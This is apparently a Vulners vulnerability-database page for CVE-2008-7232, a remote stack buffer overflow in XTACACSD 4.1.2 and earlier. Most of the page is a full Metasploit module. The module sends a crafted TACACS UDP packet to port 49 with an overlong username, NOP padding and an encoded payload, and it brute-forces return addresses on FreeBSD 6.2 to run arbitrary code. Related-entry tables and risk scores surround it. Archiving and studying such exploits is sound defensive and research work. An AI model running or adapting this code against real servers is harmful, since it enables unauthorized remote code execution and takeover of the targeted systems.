Lucene search
K

Xtacacsd <= 4.1.2 report Buffer Overflow

🗓️ 08 Jan 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

XTACACSD 4.1.2 Buffer Overflow exploit for XTACACSD <= 4.1.2. Sending specially crafted packet may execute arbitrary code

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-7232
29 May 201815:50
circl
CVE
CVE-2008-7232
14 Sep 200914:00
cve
Cvelist
CVE-2008-7232
14 Sep 200914:00
cvelist
Exploit DB
Xtacacsd 4.1.2 - &#039;report()&#039; Remote Buffer Overflow (Metasploit)
8 Jan 200800:00
exploitdb
Exploit DB
XTACACSD <= 4.1.2 report Buffer Overflow
9 May 201000:00
exploitdb
exploitpack
Xtacacsd 4.1.2 - report() Remote Buffer Overflow (Metasploit)
8 Jan 200800:00
exploitpack
Metasploit
XTACACSD report() Buffer Overflow
2 Feb 200816:06
metasploit
NVD
CVE-2008-7232
14 Sep 200914:30
nvd
Packet Storm
XTACACSD 4.1.2 Buffer Overflow
27 Oct 200900:00
packetstorm
Prion
Buffer overflow
14 Sep 200914:30
prion
Rows per page

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 &lt; Msf::Exploit::Remote

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'XTACACSD &lt;= 4.1.2 report() Buffer Overflow',
			'Description'    =&gt; %q{
					This module exploits a stack overflow in XTACACSD &lt;= 4.1.2. By
					sending a specially crafted XTACACS packet with an overly long
					username, an attacker may be able to execute arbitrary code. 
			},
			'Author'         =&gt; 'MC',
			'Version'        =&gt; '$Revision$',
			'References'     =&gt; 
				[ 
					['CVE', '2008-7232'],
					['OSVDB', '58140'],
					['URL', 'http://aluigi.altervista.org/adv/xtacacsdz-adv.txt'],
				],
			'Payload'        =&gt;
				{
					'Space'    =&gt; 175,
					'BadChars' =&gt; &quot;\x00\x09\x0a\x0b\x0c\x0d\x20&quot;,
					'StackAdjustment' =&gt; -3500,
					'PrependEncoder' =&gt; &quot;\x83\xec\x7f&quot;,
					'DisableNops'   =&gt;  'True',
				},
			'Platform'       =&gt; 'BSD',
			'Arch'           =&gt; ARCH_X86,	
			'Targets'        =&gt;
				[
					['FreeBSD 6.2-Release Bruteforce',
						{'Bruteforce' =&gt;
							{
								'Start' =&gt; { 'Ret' =&gt; 0xbfbfea00 },
								'Stop'  =&gt; { 'Ret' =&gt; 0xbfbfef00 },
								'Step'  =&gt; 24,
							}
						},
					],
				],
			'Privileged'     =&gt; true,
			'DefaultTarget'  =&gt; 0,
			'DisclosureDate' =&gt; 'Jan 8 2008'))

			register_options([Opt::RPORT(49)], self.class)

	end

	def brute_exploit(address)
		connect_udp

		sploit =  &quot;\x80&quot; # Version
		sploit &lt;&lt; &quot;\x05&quot; # Type: Connect
		sploit &lt;&lt; &quot;\xff\xff&quot; # Nonce
		sploit &lt;&lt; &quot;\xff&quot; # Username length
		sploit &lt;&lt; &quot;\x00&quot; # Password length
		sploit &lt;&lt; &quot;\x00&quot; # Response
		sploit &lt;&lt; &quot;\x00&quot; # Reason
		sploit &lt;&lt; &quot;\xff\xff\xff\xff&quot; # Result 1
		sploit &lt;&lt; &quot;\xff\xff\xff\xff&quot; # Destination address
		sploit &lt;&lt; &quot;\xff\xff&quot; # Destination port
		sploit &lt;&lt; &quot;\xff\xff&quot; # Line
		sploit &lt;&lt; &quot;\x00\x00\x00\x00&quot; # Result 2
		sploit &lt;&lt; &quot;\x00\x00&quot; # Result 3
		sploit &lt;&lt; make_nops(238 - payload.encoded.length)
		sploit &lt;&lt; payload.encoded + [address['Ret']].pack('V') 

		print_status(&quot;Trying target #{target.name} #{&quot;%.8x&quot; % address['Ret']}...&quot;)			
		udp_sock.put(sploit)
		
		disconnect_udp		
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2008 00:00Current
7.1High risk
Vulners AI Score7.1
EPSS0.70342
18